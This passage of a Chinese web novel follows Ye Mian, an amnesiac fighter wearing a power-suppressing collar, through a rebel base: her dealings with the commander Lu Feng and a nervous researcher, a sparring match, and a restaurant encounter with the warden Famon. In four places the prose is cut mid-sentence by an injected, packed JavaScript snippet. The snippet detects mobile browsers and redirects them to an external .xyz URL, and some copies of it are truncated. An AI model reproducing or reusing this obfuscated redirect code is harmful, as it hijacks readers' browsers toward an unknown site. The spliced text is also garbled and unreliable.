窗口高度也为了适应小孩子的身高所以压低了一些,叶眠想起在手术台上苏醒的那片刻里,火灾中的三个小孩与幼年的自己。 太真实了。 她越发确信,这里不是源自某种幻想、而是托生于自己的记忆了。 顺着这个可能性继续思考,如果这片建筑是真实存在于记忆中的,那这场大火、死在火灾里的三个孩子,是不是也都是真实发生过的? 那三个孩子……叶眠稍微皱眉,捂了捂自己胸口。 有些酸胀的情绪在涌动,很陌生,但又有些似曾相识。 挨过了那一阵不适,叶眠想:既然能找到猫头鹰的铁片,那可能还会有别的铁片藏在这片大火之下。 如果想查那三个孩子的身份,可以从他们的代号入手,说不定会有发现。 只不过,或许因为猫头鹰的铁片是自己亲手放下的,所以直觉会提醒出那个位置,而其他孩子藏铁片的位置,大概就不会这么好找了。 叶眠定了定神,抬手加厚了身上的冰层。 还能怎么办? 她又没法手动结束这场梦境,反正有这工夫,异能不练白不练。 试试再说。 新凝出的冰比旧冰温度似乎更低一些,叶眠摸了摸下巴,觉得自己实在进步神速。 不愧是我! - 在安全圈附近找了一夜,一无所获。醒来的时候,叶眠身边已经没人了。她懒洋洋地摸了摸被子,连余温都没有,陆指挥一早上就不知道干嘛去了。 看了眼终端,她这才发现已经中午了。昨天睡得早,这一觉睡了得有十六七个小时,叶眠整了整松松垮垮的浴袍,把卷在里面的手枪抖出来后,伸了个懒腰。 陆指挥还算绅士,没有动手动脚,趁他不在,可不得好好探查一番? 打开衣柜,入目一排花衬衣,叶眠无语地翻了翻,却在衣柜后面看到了一个控制板。 她来了点兴趣,花了五分钟研究完毕,顺利启动衣柜机关。 衣柜内部稳稳旋转,第二个柜格出现——一柜子正装,黑灰蓝白,纯色衬衣按颜色整齐地码在侧面。 哇塞,奇迹陆风。 叶眠再次启动机关,第三个柜格里是各式各样的作战服,但没有配备武器。 终端震动,叶眠看了一眼。 陆风:“又在玩衣柜?” 遇到困难睡大觉:“那咋了?” 陆风:“玩玩玩,女装在第七格[笑脸]。” 遇到困难睡大觉:“是给我的,还是你平常自己穿的?” 陆风:“?” 叶眠心满意足地收了终端,把衣柜调到第七格。 看衣服的码数,应该不是陆风给他自己准备的。不知道为什么心里有点可惜,叶眠摸了摸下巴。 陆风这里甚至配备了专门的化妆间,叶眠也进去兜了一圈。 各色假毛面具、束身底衣,叶眠翻了一圈,就是没看到假眼珠子。 陆风不带假眼珠子?她不由联想到他从不下脸的墨镜,稍微多想了一点——如果陆风的棕色眼珠是假的,那她应该会有点伤心。 选了顶帽子,轻快地走出房间,叶眠敲了敲102的房门。 胖子把门打开条缝,看到是她才松了口气。 “昨天没睡好?”叶眠问。 胖子喊冤:“姐,眠姐,这是反抗军大本营,跟你一个床睡的是指挥使,跟我隔壁的也不一定是什么情报贩子,很恐怖的好吧!” 叶眠倒是没觉得有什么:“陆风都说了保你平安,别怕,我们吃饭去。” 胖子立刻精神了点:“哎,这好。” 两人踩着深色的地毯一路走到餐厅大门。 餐厅的入口标牌旁边还有一行小字:“如需乘坐电梯,请联系服务生。” 餐厅很朴素,饭菜更朴素,叶眠一言难尽地挑起一颗软趴趴的绿色椭圆形蔬菜叶:“胖子,你觉得这个好吃吗?” “油菜BHK176版,我看到菜品名下面的成分注解了,你就吃吧,一吃一个不吱声,”胖子的脸几乎要埋到饭碗里,“苦味指标降了80%,究极成功的作品。” 叶眠艰难地把菜叶塞到嘴里——监狱内的泔水饭菜打两分,它能拿个五分。 满分是一百。 “我不行了,胖子,”叶眠放下筷子,“我把你从C监捞出来是这辈子做得最正确的决定,给我整个面包吃吧,谢谢你,伟大的法格里布。” “喔喔,”胖子闭眼打了个响指,凌空一个面包落入他掌心,“边吃饭边用异能感觉像是在……” “嘘,”叶眠虔诚地请他闭嘴,“答应我,不要在吃饭的时候说那么影响食欲的话。” 面包有点咸,但比那个烂菜叶子好吃多了。 “你家营养液会比这个好吃是吧?”感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224753|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受着熟悉的麦香和稍微有点艮揪的口感,叶眠问。 “会的,”胖子又去盛了一碗饭,“不过我感觉,面包不如这个清炒油菜BHK176好吃。” “你的味蕾已经被驯化了,”叶眠教育他,然后又想起一点问题,“那你做的这个面包原料是什么?” “我家里人研究过这个问题,大概是初版小麦吧,现在早就绝迹了。”胖子无所谓地说。 “你没考虑过靠这个赚钱吗?”叶眠财思敏捷,“炒作一下,初版小麦面包,每天限量供应。” 胖子却摇了摇头:“我控制不了它的口味大小质量,过不了粮食部的食品检疫。” “粮食部?”叶眠第一次听说这个部门。 “嗯,营养液的法案也是粮食部提的,”胖子情绪低落,“伊斯坦想当粮食大臣。” 叶眠安慰他:“等我统一星系,封你为帝国第一粮食大王。” 胖子眼神逐渐变得诡异:“现在就开始安排封狼居胥?” 叶眠煞有介事:“做事要有提前量。” - 饭后叶眠屡劝无效,胖子坚定地说要回房间。 “我宁愿在房间里玩终端也不要在……”他贼眉鼠眼地瞟向左右无人,“反抗军窝子里,乱转。” “我也是反抗军啊。”叶眠理所当然地说。 胖子头摇成拨浪鼓。 “好吧。” 叶眠有些遗憾地独自上路。在餐厅转了一圈,她找到了传说中的服务生,却发现这人跟商场那个调酒师长得一模一样。 影分身术? 叶眠好奇地多看了他两眼。 人脸识别仪对着她的脸从上到下扫过一遍:“二级权限识别通过,欢迎回家。” 调酒师面无表情地收起识别仪:“叶女士要去哪层?” “训练场,”叶眠礼貌地说,“谢谢。” 调酒师朝侧面让了让,叶眠走进他身后的电梯间。 “一路顺风。”调酒师微微点头。 电梯也要……妈! 妈妈妈妈妈妈妈妈! 飓风裹挟着电梯间飞速升高,直冲电梯井!叶眠被一瞬间产生的巨大冲击力拍到地板上,只能用双手撑住勉强没摔着脸,甚至没能第一时间站起来。 等狂风止息、电梯停稳,她才艰难地直起身,拍了拍身上的土,安详地想:哈哈,你们反抗军真有意思。 可能又是谁的异能吧?整座地下基地似乎都是靠各种各样异能维持运转的,叶眠看了眼终端,陆风几分钟前说在训练场等她。 电梯打开,叶眠面对着的,是一扇同样的双开门,上面挂着同样的锁。 她摸了摸下巴,然后拿起锁,学着陆风的样子,轻弹了一下。 ——无事发生。 好吧。 “叶眠,不得不说,你失忆了似乎比失忆前更好玩了。” 门后传来陆风的闷笑,叶眠面无表情地锤了两下门,他才把门打开。 “现在信我是真失忆了?”叶眠抱着手说。 对面陆风今天换了一件印着牡丹的花衬衣,配了条白色西裤,看起来花团锦簇、人模狗样。 23. 第 23 章 “嗯,信了。”陆风笑着说。 电梯和走廊之间有一点高低差,他伸手,叶眠半点没客气,扶着他胳膊登上走廊。 “怎么想的,把基地建得跟酒店一样?”叶眠松手问。 “因为,情报人员之间最好不要有长期接触,”陆风说,“酒店这种形式作为接头的地方再好不过,只要口令通过,何九就会允许进入,也不会因为登记身份暴露。” 何九,喝酒。 是那个会分身的调酒师。 “只有陆指挥在这长住是吧,”叶眠说完眯了眯眼,“还是总统套房。” “之后这段时间,应该是你跟我一起,”陆风一心哄她,“好不容易能呆在一起,长住不是好事吗?” 好不容易? 就看昨晚这腻歪气氛,再加上叶绵绵又是个纯恋爱脑,能怎么个“不容易”法,还不是你把人当工具使,不出任务的时候才放在身边暖床。 叶眠在心里翻了个大白眼。 “住住住,”她摆摆手,“叫我来训练场干嘛?” “试试你的环能不能取下来。”陆风伸手,食指勾住她脖子上的禁制环,眼神微动。 正要发力,叶眠毫不犹豫地拍他一爪:“有话说话,别动手动脚,这不是项圈,我也不是你家叶绵绵。” 陆风眼神瞬间清澈,他低头摸了摸浮现红印的手背,脸上露出点不可思议的神色,眉毛一竖。 “要发火?”叶眠捏了捏他梆硬的手臂,“我伤成这样从C监死里逃生都没发火,你支棱什么?” 陆风咬牙。 为了叶绵绵,他忍。 君子报仇十年不晚。 “行,”他放下手,抬步往训练场走,一边问,“能打赢刘勇,没丢人。” “丢不着你的人,”叶眠说着,语气多了点不解,“你明明什么都知道,为什么不愿意救她一把?” “她?你?” 陆风每次说到这事,都是语气淡淡,“我是指挥使,我有不能做的事。三个月后指挥使轮届,这段时间里不管落入敌手的是谁,我都不会放手去救。” 懂了。陆指挥爱护羽毛、大公无私。 “我有点替叶绵绵不值。”叶眠想了想,说。 “她就是你,”陆风无动于衷,“我们的感情不会掺进别的东西。” “你们真有感情吗?”叶眠一边走一边说,“算了,就算有,她也死了。” 陆风猝然止步,她差点一头撞到他肩膀。 “别说这种话,”他沉默了一会儿,没回头,但声音很低,“明明活下来了,就不要再提好不容易逃脱的死局。” 陆风不肯承认,这种提醒给他一种很坏的感觉,就好像他真的做错了事又被人反复鞭尸一样。 对此,叶眠只能用两个词评价。 ——掩耳盗铃,猪油蒙心。 训练场很大,地面铺着是深绿色的橡胶。灯光亮到有些刺眼,场地中央有几个沙包半倒不立,旁边站了几个人。 “设备你看着用,可能小沈会过来,有问题可以找他。” 陆风已经恢复如常,二人沿着训练室的墙边走到一半多,他推开一扇没锁的门。 机房的味道扑面而来,叶眠好奇地走了进去。 巨大的显示屏占据了一整面墙壁,紧紧拼凑的操作台刚好到腰部高度。旁边立着几架1:1还原的人体模具,另一侧是几个玻璃隔间,每个隔间中的设备似乎都有所不同。 “一般他们会来这边做人体测试,或者一些电子实验,”陆风站在后面扬了扬下巴,“那边进去是工具屋,你看有什么能用的,随便用。” 如果是三代禁制环,说不定真能通过这些东西解决掉,叶眠心想,法蒙的谨慎也不无道理。 但是她带着禁制环一天,就受制于人一天,自由看似近在咫尺,实则遥不可及。 “唉,最近有没有什么暗杀典狱长的活动?”她想参加一下。 陆风讶然侧目:“法蒙继任C监典狱长没多久,边境三师还没撤退,他人在风口浪尖,安保更是几倍于平常。你对他有想法?” “嗯,想杀,”叶眠诚实地说,“C监乌烟瘴气,典狱长毫无作为,死罪当诛。” 陆风乐了半天,完全没往别的地方想:“但你能出狱,除了法格里布的活动,也得有他的首肯才行。假释比不上拉米亚纳的无罪释放,但在C监也很难得了。” 假释?原来同事哥是这么解释她脖子上的禁制环的。 工作做得不错哈。 陆风看她半天没讲话,宽慰说:“早晚能脱下来的,你可是我最得力的左右手,出门戴着禁制环算什么样子?” “不会说话可以不说,”叶眠无语地看他一眼,“这事被你说的,怎么听怎么怪。” “哼哼。”陆风挑了挑眉毛,突然伸手,一使劲,就把叶眠带到身边。 “不亲,”叶眠瞬间反应,一手捂到他嘴上,冷静出声,“等你什么时候把叶绵绵哄回来再亲。” 陆风十分自信:“行。” 他松手后撤,竟然就这么走了。 叶眠摸了把额头上不存在的虚汗,心想你要是来强的,我还真不一定挡得住你。 陆风,你的绅士人设一定要维持住啊。叶眠真诚地为他祝福。 “咦?有人?指挥刚走……我咳” 来人开口蹦了几个词,看清叶眠的脸,表情微变,瞬间把剩下的话憋了回去。 “你是……?”叶眠心想这声音似曾相识,她打量着来人,第三次想到那句话——你们反抗军的人真有意思。 跟陆风这种身高一米九多的壮汉不同,眼前的白大褂也就一米八几的个子,眉眼清正,不如法蒙刚毅冷漠,不如陆风倜傥深情,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224754|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着很有礼貌,挺顺眼。 介于死气沉沉打工人和阳光开朗学生仔之间的年轻人。 感觉陆风一拳能打八个。 叶眠快速地锐评完毕,脸上露出一个雍容和蔼的微笑。 沈舒白心里大叫孽缘怎么在这碰上,面上控制住五官不要乱飞,勉勉强强地挤出一个笑:“叶女士怎么也在这?” 问完他就想打自己一巴掌。 还能为什么?那根从他这送出去的禁制环还挂在人脖子上呢。 叶眠只觉得这人慌张得可爱,于是和颜悦色地答:“噢,我刚从监狱假释,陆指挥让我看看能不能把禁制环摘了,赶紧做事。” “哈哈,确实是他的风格,哈哈。”沈舒白干笑。 死一般的沉默延续,叶眠提醒:“所以,你是……?” “哦哦哦我是小沈,您叫我小沈就行,”沈舒白上前一步抓住叶眠的手,殷勤地晃了晃又立马松开,“我在这边做实验。” “小沈,”叶眠更有兴趣了,“你跟我一个朋友长得很像。” 谁? 沈舒云? 你们已经是朋友了? 沈舒白心中大惊失色。 他脑筋飞转,瞬间想起之前那个双赢的主意,稍微缓了口气,殷切地说:“确实总有人说我大众脸哈哈,对了有什么我可以帮您的吗?” “我这根环跟三代有点不同,怕这里的工具都起不到什么作用,你看有什么办法吗?”叶眠笑眯眯地说。 “有的女士有的,”沈舒白飞快点头,“您先这边坐,我连到仪器上看一下指标。” 叶眠由他操作,沈舒白站在她旁边,僵着身体弯腰在显示屏前,十指飞舞地输入指令。 “小沈,你看起来好像有点热?”叶眠问,顺手从操作台一边抽了张纸巾,“擦擦?” “哈哈不用了谢谢叶女士。”沈舒白语速很快,不敢说自己一瞬间想起了叶绵绵送的吊坠。 叶女士的东西能接吗?他哪里敢啊! 叶眠几乎没听清他的用词,她放下手,奇怪地问:“说起来,你姓沈,但沈应该不是全名?” “这边不太方便透露姓名女士,”沈舒白露出一个有些苍白但坚强的微笑,“您叫我小沈就好,真的。” 眼看叶眠还要问什么的样子,沈舒白暗自祈祷进度条快点,终于,“叮”一声,指标载入完成。 “这样女士我给您解释一下这些指标……” 沈舒白如获至宝地开始背书,叶眠眼看他额头一滴汗,划过脸颊,到下巴,半掉不掉地挂在那。 她抬手用纸一蹭,然后拉开他白大褂口袋,把用完的纸团塞了进去,表情依旧和善:“你继续说,我听着呢。” ……? 沈舒白跟被噎住一样安静下去。 喉头滚动,他心中崩溃:这还让我怎么说! 24. 第 24 章 叶眠兴致盎然,心说还是跟年轻人互动有意思。沈舒白稍微调整了一下呼吸,关掉显示屏,正色道:“叶女士,我不跟您绕圈子。” 叶眠:“嗯哼?” 沈舒白:“……您佩戴的确实不是三代禁制环,是实验室没有对外公开的四代。虽然可以强行破坏,但无法保证其中致命毒素在禁制环断裂时不伤害佩戴者身体,所以我们不能在没有密钥插件的情况下拆卸。” 他语气郑重,叶眠也正经了一些:“那你的意思是?” 沈舒白眼露恳切:“分析结果显示血液中封锁抗体含量过高,我怀疑是四代环中的某种成分跟封锁抗体反应,所以导致了严重异能抵抗。” 叶眠暗自思忖:这不就是沈舒云的说法? 沈舒白哪知道沈舒云朴实地把检测报告同时发给了他们俩,还在假装这里的标准检测仪能查到这么细节的东西:“长期异能抵抗会产生无法预料的后果,如果不处理,您可能要面对永久性失去异能的危险。” 叶眠点点头,沈舒白终于说出自己的目的:“所以,如果您愿意的话,可以跟我合作。这种异能抵抗比较特殊,我正巧缺少课题应付征稿,能做出结果的话……” 叶眠懂了:“你需要我当你的小白鼠?” 沈舒白微汗,急忙解释:“珍贵研究样本可遇不可求,不一样的。” 他表情真挚里透着点紧张,但还是十分期待地看着叶眠。 叶眠想了想,问:“如果解决不了呢?” ……如果解决不了,你没异能我没命。 沈舒白眼神飘了一下,又瞬间坚定:“不会的,我有信心。” “欸话说,”叶眠不知道想到了什么,眼神一下温柔如水,“小沈啊,你需不需要第二个课题?” 沈舒白眨眼,没理解:“什么?” “比如,如何在佩戴禁制环的前提下使用异能?”叶眠比真挚的沈舒白更真情实感。 “这不合适……” 沈舒白心中疾呼:怎么能跟老姐对着干啊!这可是要沙头的死罪啊! “有什么不合适的?”叶眠循循善诱,“你想,咱们反抗军反抗的是谁?” “联盟啊。” “那异能实验室,是谁出资支持?” “联盟啊。” 叶眠一拍操作台:“对呀,所以等你研究出来了禁制环的应对策略,让陆指挥记你大大一功,这是你的责任和机会啊!” 沈舒白:? 为什么有种被威胁的感觉。 他没放弃挣扎:“太难了叶女士,实验室那么多人花了好多年才研究出禁制环,而且迭代到现在,4.0要强度有强度,要机制有机制,要颜值……”看了眼叶眠颈间的黑色choker,他老实得鼻子是鼻子、眼睛是眼睛。 “哎,”叶眠摇摇手,“话是这么说,你的难处我也理解,所以不需要你让我完全恢复自由呀。” 沈舒白:“啊?” “有能让我释放异能五分钟、十分钟的药也好,”叶眠微微一笑,“毕竟,你也不想让陆指挥知道我们私下做的事情吧?” 她原意指的是拿陆风下属当研究课题的事,不知道沈舒白想到哪里去了,顿在原地,眼神好一阵忽闪。 叶眠眯眼:嗯? “好吧,好吧,”沈舒白屈服了,“这个不能当明面上的课题,但我会看看能不能做出来靶向药物,如果做不出来……” “那我就告诉陆指挥。”叶眠接过。 沈舒白:? 忍无可忍,沈舒白勃然微怒地答应了叶眠的条件,又拉着她做了几套检查后就表示自己有事要先行撤退。 脚刚出门,终端一震,他若有所觉地微微一顿,目不斜视地继续踏步离开。 遇到困难睡大觉:“同志,陆风麾下有什么姓沈的文职吗?[笑脸]” 遇到困难睡大觉:“搞科研的,或者是医生?” 遇到困难睡大觉:“想起来了,你不是说,让我找陆风的医生问问他的眼睛吗?就是他吗?” 这边叶眠还记挂着陆风的眼睛,那边沈舒白头上冷汗都要下来了。 白干全白干:“嗯对他医生姓沈。[笑脸]” 遇到困难睡大觉:“可惜可惜,刚好错过,下次见到再问吧。” 沈舒白:别可惜了姑奶奶,你可惜一下结束了,我心惊一下午。 叶眠收了终端,走到工具屋挑挑拣拣。 冷兵器整齐地插在架子上,分门别类一应俱全。热武器大多都在能量不足状态,叶眠抽了一把电磁步枪出来,掂了掂,刚朝墙壁瞄了两下,就听门口传来陆风的声音:“还在这呢?” 她侧脸贴着枪身,轻巧一转,稳稳地瞄住了指挥使眉心,右手食指滑到扳机,虚扣。 陆风双手举起作投降姿势,语气无奈:“这是干什么?沈说禁制环解不开,我特意过来安慰你。” 他一边说,一边往这边走,姿态十分放松。墨镜遮挡了他的视线,但叶眠能感受到自己被牢牢锁定,她持枪不动,身体微微绷紧。 陆风一句话用了五步,下一秒,形势突变! 叶眠根本没看清他是怎么移动的,只感受到一股巨风席卷而来,十几米外的身影已经从原地消失。她瞳孔微缩,在风中下意识眯眼,同时撤步防御,横枪身前预备格挡。 陆风从上方现身,踏出最后一步后,跟叶眠的脸之间只有二十厘米。 俯视的角度撞上叶眠黑眸,他从头到尾都没有要伤害她的意思,只是骤然消失又骤然出现,用极致的速度来到她眼前——然后握住了枪口别向一侧。 “想杀我?”他语气加重,但嘴角却上扬着。 叶眠松开手,电磁枪落到陆风手中。 “如果你想报仇的话,我允许你瞄回来,”她说完就放松身体,表情如常,“如果还是生气的话,我允许你扣一下扳机。” 陆风掀开枪身外板,看到空空的能量槽。叶眠好整以暇地看着他的反应,他轻“啧”一声,还真举枪瞄准。 瞄准镜里叶眠要多无辜有多无辜,陆风手指扣住扳机,缓缓压下。 “砰。” ——他说。 叶眠叹了口气,从他手里重新拿回电磁枪,插回枪架:“你知不知道能量槽显示有时候会有误差?要是里面能量还够一枪,现在我脑袋就四分五裂了。” 战斗意识像刻在身体中一样,射程远近、多少连发、杀伤如何,摸到枪的一瞬间,一切都涌进大脑,根本不需要她回忆思考。 这是叶绵绵留下的东西,一些足够她与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆风后撤,避开这记狠招,却被叶眠抓住机会近身,小臂上袭击中下巴,酸麻汹涌,他反手扣住她后心,呼吸稍快:“平局?” 叶眠手腕翻转锁住陆风手臂,膝盖仍抵在他腰侧。两人姿势胶着,衣料摩擦间能感受到彼此急促的心跳,她没有回避,不动声色地说:“还没结束。” 扭打到现在,位置已经偏移不少。叶眠使力旋转出一个角度,她看也不看,向后一脚,踢向冷兵武器架。 一柄长剑被击上半空,趁陆风走神瞬间,她灵活地钻出他手臂范围,反手接剑,下一秒,指向陆风鼻尖。 “现在,我有武器,你没有,”她微微挑眉,“给你个机会认输。” 陆风稍微移动,剑尖也跟着移动,叶眠摆明了不会让他靠近武器架,他无奈:“好吧。” 意料之外情理之中,叶眠回身插剑,却感受到身后之人接近带起的微风。 一道弧光划过,在陆风碰到她身体之前,剑刃已经横在了他脖子上。 “那,现在呢?”叶眠压了压剑。 金属长剑没开刃,钝钝地压在陆风颈侧,他感受到那股完全没收劲的力道,终于投降:“你赢了。” 25. 第 25 章 叶眠歪头:“真的?” 陆风无奈:“真的。” 她放下剑,冷哼一声,这才算完。 陆风抬手,叶眠眯了眯眼,下一秒,手里的剑就被阵风卷起,端端正正地插回了武器架。 “你倒是舒服。” 她猜,陆风的异能多半跟风有关,也不枉他用的这个名字。 “可怜的叶眠,”陆风摇摇头,“异能被锁,只能当个手无缚鸡之力的普通人。” “普通人刚刚赢了你,”叶眠没客气,“快到中午了,出去吃点?” “你想吃楼上美食街?” “当然不是,”叶眠无语,“陆指挥肯定知道些好吃的馆子吧。” 他们回到房间,叶眠眼睁睁看着陆风换了张老实人的方脸。除了不变的墨镜和瞳色,现在的他一身休闲服,与之前截然不同。 “出门还是得小心点,”陆风说着,扣紧了叶眠的帽子,“外面说不定还有人在找你。” “我们站一起就是最大的风险了,朋友。”叶眠说。 - 下层区有真正意义上的美食吗? ——没有。 所以陆风开上悬浮车,两人穿越宽阔的中间带,来到了上层区。 这里跟叶眠想象中的城市就没那么大差别了。 钢铁高楼林立、绿化带细节铺到门口的最后一块地砖,灌溉设施悬浮在半空,水雾折射出彩虹。 如果说下层区是黑、灰,那上层区就是完整的色谱。陆风的悬浮车落在街道上,比起周围整洁靓丽的车子,硬生生矮了一头。 似乎看出来叶眠的疑惑,陆风解释:“这里有很多人住在中间带,每天通勤来到上层区。我预约用的身份就是这样,配太好的车反而不合适。” 叶眠点头。 你买单,你说得算。 上层区也分区,从D环到C环,资质核验顺利通过,陆风等交通灯的时候随嘴说:“吃个饭我们就不进B环了,里面警哨太多。” “蒋仕临住B环吗?”叶眠忽而问。 “我忘了。”她补充说。 “前审判长啊,”陆风的语气稍微有点奇怪,咬字像是品鉴一般,“他的宅子当然在A环。如果不是你,我们很难除掉他。” “也付出了很大的代价,”叶眠中肯评价,“叶绵绵死得惨啊。” 陆风不想听这种话。 “法蒙呢?”叶眠勾走了话题,“A环?” 杀心太重,不好,但低头就能感受到禁制环的存在,叶眠笑得很和善。 “怎么这么关注他,”陆风眉头一动,手下加速,推背感闪了叶眠一下,“监狱里见过?” 她瞥他一眼,不太走心地说:“我视革命党为眼中钉肉中刺。” “别招惹他,”陆风警告说,“不是什么简单人物。” “不知道他背后站的是什么家族。”叶眠试探。 陆风没再说话。 悬浮车停下,二人走进圆柱形的巨大玻璃建筑。 “欢迎光临天空之脊,请问有预约吗?”服务生态度和善。 “路青,谢谢。”陆风说。 电梯上行,速度比反抗军基地慢了不少,稳稳托着二人上了103楼。 踏出的一瞬间,叶眠敏锐地偏了一下头。 她好像看到了一个熟悉的身影,但那身黑色军装,让她有点不敢认。 ……法蒙? 陆风自然地牵起她的手,叶眠回神,却发现这人的走姿都跟平常有些差别。 “路青的人设是个跛子?”叶眠悄悄问。 “嗯。”陆风简短回应。 在窗边的桌旁坐定,侍应生送来一束黄色的花,笑着说:“路先生选的花,正衬这位小姐。” 想到下城区连点活的绿植都见不着,叶眠微笑接下:“谢谢。” 她还关注着刚刚法蒙出现的那个方向,心中琢磨着这是不是个机会。 侍应生看到叶眠脸侧的纱布,眼中闪过怜悯,又补了一句:“祝小姐早日康复。” “这边的菜色很多,我按你口味点了。”陆风说。 他扮演着路青的角色,口吻温和:“可能内厅里来了什么人,普通预约只能坐外面了,抱歉。” 叶眠看他一眼,心想你别说,来的还是熟人呢。 天大地大吃饭最大,她低头喝汤,耳朵却丝毫不敢懈怠。 换菜间隙,叶眠余光瞥到通向内厅的门打开了一条缝,心中有了点主意。 “我去趟洗手间。”她说。 陆风微微皱眉,没说话。 叶眠提着黄裙子的裙摆走过外厅,姿态优雅到她自己都觉得意外。 这是什么诡异的本能反应?难不成叶绵绵对外还走淑女路线? 经过内厅大门,她稍微减速,但里面的人立刻掩住了门缝,交谈声被死死锁住。 叶眠心中可惜,继续前往洗手间。 几步之后,看到那名送花的侍应生,她又有了个新主意。 “你好,”她安静地走过去,向他搭话,“请问,你们这里还有鲜花吗?” “有的,小姐。”侍应生答。 “麻烦你把所有黄色的花挑出来,在场所有人一人一朵,记在路先生账上,算是我送给大家的祝福,可以吗?”叶眠温声细语地说。 看他要拒绝的样子,她再次加码,表情暗淡:“疗程后期就没机会出门了,我瞧这里人多,想图点热闹,不方便的话,也没关系的。” 侍应生犹豫了一下,说:“好吧,应该可以,小姐。” “太感谢了。”叶眠感激地说。 从洗手间出来,她就眼见地看到推餐车的侍应生,抱着一大束黄色鲜花进了内厅,几乎获得了外厅所有人的关注。 “怎么了?” 叶眠驻足动作太明显,陆风发现了。 “没什么,”叶眠站到他身边,“我能坐里面吗?” 陆风顿了顿,起身说:“当然可以。” 叶绵绵回来之后表现出的距离感太强,这种主动的亲密反而显得有些珍贵了。 叶眠浅笑嫣然,心里却还在猜测法蒙那边的情况。 陆风完全没想到,这一顿吃下来叶眠心神一半给了饭,一半给了法蒙,就是没留给自己。他只当她是心里有事,也没有自讨无趣地多说什么。 终于,内厅门开,那一大抹黄色又被推了出来。 果然是被拒绝了。叶眠想。 侍应生为难地向她道歉,说内厅即将散场,谢谢她的好意。 叶眠也露出失望的神色,只是再次道谢后,让他把花放到了桌子对面,她原来坐的位置。 陆风偏头,与她之间的距离近到只剩半掌,语气戏谑:“慷他人之慨,很大方嘛。” “反正你买一束也是买,买一把也是买,”叶眠稍微调整了一下姿势,“一把花换了条重要消息呢想不想听?” 陆风饶有兴致:“什么消息?” 层叠脚步声传来,内厅的人鱼贯而出,叶眠拉住陆风胳膊,两人贴得更近。 她已经能数清他的睫毛,根根分明,也能清楚地看到自己五官,倒映在他棕色的瞳孔中。 叶眠的气音传到陆风耳朵里。 ——“法蒙刚刚在内厅。” 陆风瞬间变色。 眼风凌厉刮来,却被消解于无形。叶眠不为所动,甚至伸手掐住了他的下巴,以防他要回头乱动。 “看我。”她命令说。 这张脸确实不如上一张好看,叶眠心中轻叹一声,一手勾住陆风脖子,贴上了他的唇角。 “揽住我的腰。” 叶眠双唇微动,半张脸藏在陆风后面,密切关注着那群人离开的进度。 陆风懂了,依言照做,甚至多用了点劲,把她往身边带了一点。 在法蒙的视角里,很难不注意到那束巨大的黄色鲜花,然后就看到了那对吻得难舍难分的情侣。 他身板笔直如松,脚步不停,似乎毫无反应。 直到法蒙走进电梯看不见这里了,叶眠松开陆风,嫌弃地抽了张纸擦擦嘴:“你先走。” 陆风脸色很差,没耽搁,迅速起身。 叶眠拽住他。 以为她要让他注意安全,陆风下意识缓和表情,想说“没事”。 “记得结账。”叶眠殷切叮嘱。 不能恩将仇报啊陆指挥! 陆风默了默,咬牙:“我线上结。” 不知道他怎么操作的,几分钟后,定位就发到了叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224756|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠终端——他已经把车开到了与这有点距离的地方。 这么快?没坐电梯? 叶眠吃掉最后半块蛋糕,心想有便宜不占是傻蛋,于是又点了两份套餐打包,标上C监的住址。 她在侍应生诡异的眼神下认真嘱托:“收货人叫烟花,是狱警,跟她说另一份带给护士,她会懂的。” 做完这一切,她施施然整理好裙摆,按了按帽子,走向电梯间。 法蒙会在哪里等她呢? ——十六楼。 电梯门打开,叶眠抬头,就看到一张好像别人欠他几千万的冷脸。 电梯内的侍应生有些犹豫,叶眠没再让他为难,轻盈地走出了电梯。 “好久不见。”她说。 刚刚吃饱喝足,叶眠心情还不错,但法蒙看起来就不是这样了。眼神重得仿佛要压死人,沉甸甸地镇在她身上。 十六楼的走廊没开灯,叶眠站在他的影子下,好像被困住一般。 “回到陆风身边的感觉如何,叶小姐?”法蒙开口,用词礼貌周到,暗藏的危险却不降反增。 “还可以,吃得比在监狱好不少,”叶眠说完,竟然还笑了笑,“让你久等了,我给监狱里的朋友打包两份外卖,耽误了点时间。” 可能就是这一刻,法蒙第一次模模糊糊地意识到,叶眠不是他可以随意拿捏的软柿子。 但这个想法并未成形。 